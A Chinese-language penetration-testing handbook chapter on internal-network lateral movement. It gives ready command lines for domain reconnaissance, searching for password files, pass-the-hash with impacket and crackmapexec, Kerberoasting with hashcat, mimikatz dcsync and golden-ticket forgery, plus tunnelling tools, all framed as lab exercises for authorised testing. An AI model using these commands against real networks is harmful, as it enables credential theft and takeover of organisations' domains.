逆向工程实战手册 第 62 章

第 62 章 内网渗透与横向移动

拿到一台机器只是开始。内网渗透 = 从"一台机器"走到"目标数据/域控"。本章覆盖:内网信息收集、横向移动技术(PtH/PtT/远程执行)、域渗透(Kerberos 攻击)、隧道(C2/代理)。内网渗透的本质是"凭证与信任的连锁"。

📍 知识点地图 | 主题:内网横向 | 前置:第60-61章 | 后续:第70-73章 | 核心概念:PtH/PtT、Kerberos、隧道、域渗透

62.1 内网渗透思维模型

内网 = 信任网络:
  ┌──────────────┐
  │ 域控 (DC)     │ ← 终极目标(控制所有机器)
  │ 域成员机器     │ ← 你的据点
  │ 服务(DB/Web)│ ← 数据目标
  │ 工作站        │
  └──────────────┘

推进方式: 凭证(哈希/票据/明文)→ 横向(远程执行)→ 提权 → 新凭证 → 循环
关键认知: 域内通行证 = 哈希/票据(不是密码!)

62.2 内网信息收集(拿到据点后)

# 网络与主机发现
ipconfig /all                    # 网段/网关/DNS
arp -a                          # 邻居主机
netstat -ano                    # 连接(找内网服务)
# 扫描内网段(fscan 是国产神器,内置大量漏洞检测)
fscan -h 192.168.1.0/24         # 一条命令: 主机+端口+漏洞

# 域信息
whoami /all
net config workstation
net group "domain admins" /domain
net user /domain
nltest /dclist:domain            # 域控列表

# 共享与凭据
net share
net use                        # 已连接共享(可能有明文凭据)
dir /s C:\*password*           # 找配置文件

62.3 横向移动三件套(核心技术)

1. Pass-the-Hash(PtH,哈希传递)

原理: NTLM 认证用的是密码的哈希,不是明文
  → 拿到 NTLM 哈希就能以该用户身份认证(无需解密)

工具:
  impacket-psexec(经典):
    psexec.py domain/user@target -hashes :NTLMHASH
  impacket-smbexec / wmiexec(更隐蔽)
  crackmapexec(批量验证):
    crackmapexec smb 192.168.1.0/24 -u admin -H NTLMHASH
    # 一条命令横扫网段,找出所有能用该哈希的机器

2. Pass-the-Ticket(PtT,票据传递)

原理: Kerberos 用 TGT/服务票据认证 → 拿到票据文件直接注入

工具: Rubeus(现代主力):
  Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt    # 请求 TGT 并注入
  Rubeus.exe dump /service:krbtgt                      # dump 票据
  # 注入后: 直接访问目标(不需要密码)

3. 远程执行(RCE 载体)

横向最终要"在目标上执行命令":
  PsExec: 写服务执行(经典,容易被杀软盯)
  WMI/WinRM: 更隐蔽(wmiexec/evil-winrm)
  SMB 计划任务: impacket-at(at/schtasks)
  SSH/WinRM(如果开启)

62.4 域渗透:Kerberos 攻击全家桶

攻击面地图

Kerberos 协议攻击:
  Kerberoasting: 请求 SPN 服务票据 → 离线爆破服务账户密码
  AS-REP Roasting: 无需预认证账户 → 离线爆破
  Golden Ticket: 拿到 krbtgt 哈希 → 伪造任意票据(域控永续后门)
  Silver Ticket: 拿到服务账户哈希 → 伪造特定服务票据
  DCsync: 域控同步(拿所有用户哈希)
  Unconstrained/Constrained Delegation: 委派滥用
  Kerberoast + 票据注入: 组合拳

实战流程

1. 枚举域内服务账户(SPN)
   GetUserSPNs.py domain/user:pass -dc-ip <DC>
2. Kerberoasting(请求票据+离线爆破)
   GetUserSPNs.py -request domain/user:pass -dc-ip <DC>
   hashcat -m 13100 tickets.txt rockyou.txt
3. 拿域管哈希 → Golden Ticket
   mimikatz "lsadump::dcsync /domain:domain /user:krbtgt"
   mimikatz "kerberos::golden /user:admin /domain:domain /sid:... /krbtgt:HASH /ptt"
4. 任意访问域内机器(PtT + PsExec)

委派攻击(Constrained Delegation)

原理: 服务被配置允许"代表用户"访问其他服务 → 滥用可提权到域管
枚举: ldapsearch 查 userAccountControl 中的委派标志
利用: 工具(Rubeus s4u / impacket)构造委派票据

62.5 隧道与代理(打通网络边界)

问题: 目标内网不能直接访问(只从被控机器出网)
方案: 隧道(把内网流量通过被控机转发出来)

工具链:
  frp(经典双向): frpc 放目标 + frps 放自己 → 端口转发
  chisel(TCP/HTTP 隧道,一条命令)
  Neo-reGeorg(HTTP 隧道,配合 webshell)
  ligolo-ng(新秀,网卡级隧道)
  ssh -L/-R(最简单的本地/远程转发)
  proxychains(配合 SOCKS 代理: proxychains nmap 内网IP)

常见场景:
  1. 只有 HTTP 出网 → Neo-reGeorg 隧道
  2. 能出 TCP → frp/chisel SOCKS5
  3. 域控横向 → 先隧道再 PtH(工具走 proxychains)

62.6 内网渗透完整路径(综合演练)

场景: Web 漏洞拿下一台 DMZ 机器 → 目标: 域控

1. 初始据点(第 57-58 章): Web RCE → 反弹 shell
2. 内网枚举(62.2): fscan 扫内网 → 发现域环境 + 文件服务器
3. 提权(60-61 章): SeImpersonate → SYSTEM
4. 凭证提取: Mimikatz → 域用户哈希/明文
5. 横向(62.3): crackmapexec 验证哈希 → 拿下文件服务器
6. 域渗透(62.4): Kerberoasting → 域管账户
7. Golden Ticket(可选): 永续控制
8. 隧道(62.5): 打通数据访问
9. 完成目标(读数据/证明影响)→ 报告

62.7 检查清单

□ 内网网段/主机/服务枚举(fscan)
□ 域环境确认(DC/域用户/SPN)
□ 提权到 SYSTEM/高权限
□ 凭证提取(哈希/票据/明文)
□ PtH/PtT 横向验证(crackmapexec 批量)
□ Kerberos 攻击(Roasting/委派/Golden)
□ 隧道打通(frp/chisel/proxychains)
□ 每个阶段的凭据与工具调用记录(报告素材)

动手练习

  1. 在实验室域环境(或 HTB 内网机器)完成:拿哈希 → crackmapexec 批量验证 → PtH 横向。
  2. 练习 Kerberoasting 全流程:枚举 SPN → 请求票据 → hashcat 爆破。
  3. 用 frp/chisel 搭一个隧道,通过 proxychains 访问内网服务。
  4. 画一张你实验环境的"内网信任图"(机器→凭证→可达关系),标注横向路径。

深入阅读

  • 仓库:skills/pentest-tools/references/network-attack-defense.md(内网渗透全章节:横向/域/Kerberos/持久化/C2)
  • 仓库:skills/attack-chain/SKILL.md(横向移动/域渗透阶段)
  • 仓库:CTF-Sandbox-Orchestrator/competition-kerberos-delegation/(Kerberos 委派)
  • 仓库:CTF-Sandbox-Orchestrator/competition-windows-pivot/(Windows 横向 pivot)
  • 实战案例:skills/field-journal/seed-005_ad-certipy-esc1.mdseed-007_ntlm-relay-coercer.mdseed-013_kerberoasting-spn.md